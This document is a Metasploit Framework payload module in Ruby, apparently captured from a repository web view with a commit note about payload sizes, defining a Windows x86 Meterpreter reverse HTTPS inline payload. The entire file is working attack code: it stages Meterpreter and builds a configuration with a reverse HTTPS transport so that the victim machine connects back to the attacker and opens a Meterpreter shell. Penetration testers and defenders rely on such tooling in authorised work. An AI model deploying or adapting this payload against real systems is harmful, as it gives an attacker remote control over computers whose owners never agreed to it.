OJ
237827bfdc
This time it's against the currently "installed" version of Meterpeter binaries. When Meterpreter is landed down the track we'll need to make sure that the payload sizes are updated again.
71 lines
2.0 KiB
Ruby
71 lines
2.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/payload/transport_config'
|
|
require 'msf/core/handler/reverse_https'
|
|
require 'msf/core/payload/windows/meterpreter_loader'
|
|
require 'msf/base/sessions/meterpreter_x86_win'
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
require 'rex/payloads/meterpreter/config'
|
|
|
|
module Metasploit4
|
|
|
|
CachedSize = 884914
|
|
|
|
include Msf::Payload::TransportConfig
|
|
include Msf::Payload::Windows
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Windows::MeterpreterLoader
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline',
|
|
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
|
|
'Author' => [ 'OJ Reeves' ],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
|
], self.class)
|
|
end
|
|
|
|
def generate
|
|
stage_meterpreter(true) + generate_config
|
|
end
|
|
|
|
def generate_config(opts={})
|
|
unless opts[:uuid]
|
|
opts[:uuid] = Msf::Payload::UUID.new(
|
|
platform: 'windows',
|
|
arch: ARCH_X86
|
|
)
|
|
end
|
|
|
|
# create the configuration block
|
|
config_opts = {
|
|
arch: opts[:uuid].arch,
|
|
exitfunk: datastore['EXITFUNC'],
|
|
expiration: datastore['SessionExpirationTimeout'].to_i,
|
|
uuid: opts[:uuid],
|
|
transports: [transport_config_reverse_https(opts)],
|
|
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
|
}
|
|
|
|
# create the configuration instance based off the parameters
|
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
|
|
|
# return the binary version of it
|
|
config.to_b
|
|
end
|
|
end
|